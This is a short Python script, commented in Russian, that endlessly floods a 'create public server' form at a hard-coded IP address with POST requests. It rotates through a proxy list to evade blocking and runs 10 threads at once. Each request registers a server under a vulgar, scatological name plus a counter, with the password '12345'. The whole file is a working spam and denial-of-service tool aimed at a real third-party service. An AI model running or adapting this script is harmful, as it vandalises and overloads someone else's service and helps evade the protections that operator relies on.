import requests
import random
import time
from concurrent.futures import ThreadPoolExecutor

# Функция для чтения прокси из файла
def read_proxies(proxy_file):
    with open(proxy_file, 'r') as file:
        proxies = [line.strip() for line in file.readlines()]
    return proxies

# Функция для отправки формы
def submit_form(name, password, proxy):
    url = "http://91.192.22.20/create.php"

    # Формируем данные для отправки
    data = {
        'name': name,
        'password': password,
        'password2': password,
        'public_submit': 'Создать публичный сервер',
    }

    # Настроим прокси
    proxies = {
        "http": proxy,
        "https": proxy,
    }

    try:
        # Отправляем POST запрос
        response = requests.post(url, data=data, proxies=proxies, timeout=10)
        
        # Проверяем статус код ответа
        if response.status_code == 200:
            print(f"[INFO] Успешно отправлена форма для сервера: {name}")
        else:
            print(f"[ERROR] Ошибка при отправке формы для {name}. Статус код: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Ошибка при отправке формы для {name}. Ошибка: {e}")

# Основной цикл
def main():
    proxies = read_proxies('proxy.txt')  # Читаем список прокси из файла
    base_name = "пррррр посрал в парашу пррррр"
    password = "12345"
    iteration = 1

    # Создаем пул потоков с 10 рабочими потоками
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            # Генерируем уникальное имя сервера
            name = f"{base_name}{iteration}"
            
            # Выбираем случайный прокси из списка
            proxy = random.choice(proxies)
            
            # Выводим информацию о текущем шаге
            print(f"[INFO] Попытка отправить форму для {name} с прокси {proxy}")
            
            # Отправляем форму в отдельном потоке
            executor.submit(submit_form, name, password, proxy)
            
            # Инкрементируем итерацию
            iteration += 1

            # Увековечиваем шаг (например, задержка 1 секунда, чтобы не создавать слишком много задач одновременно)
            time.sleep(0.1)

if __name__ == '__main__':
    main()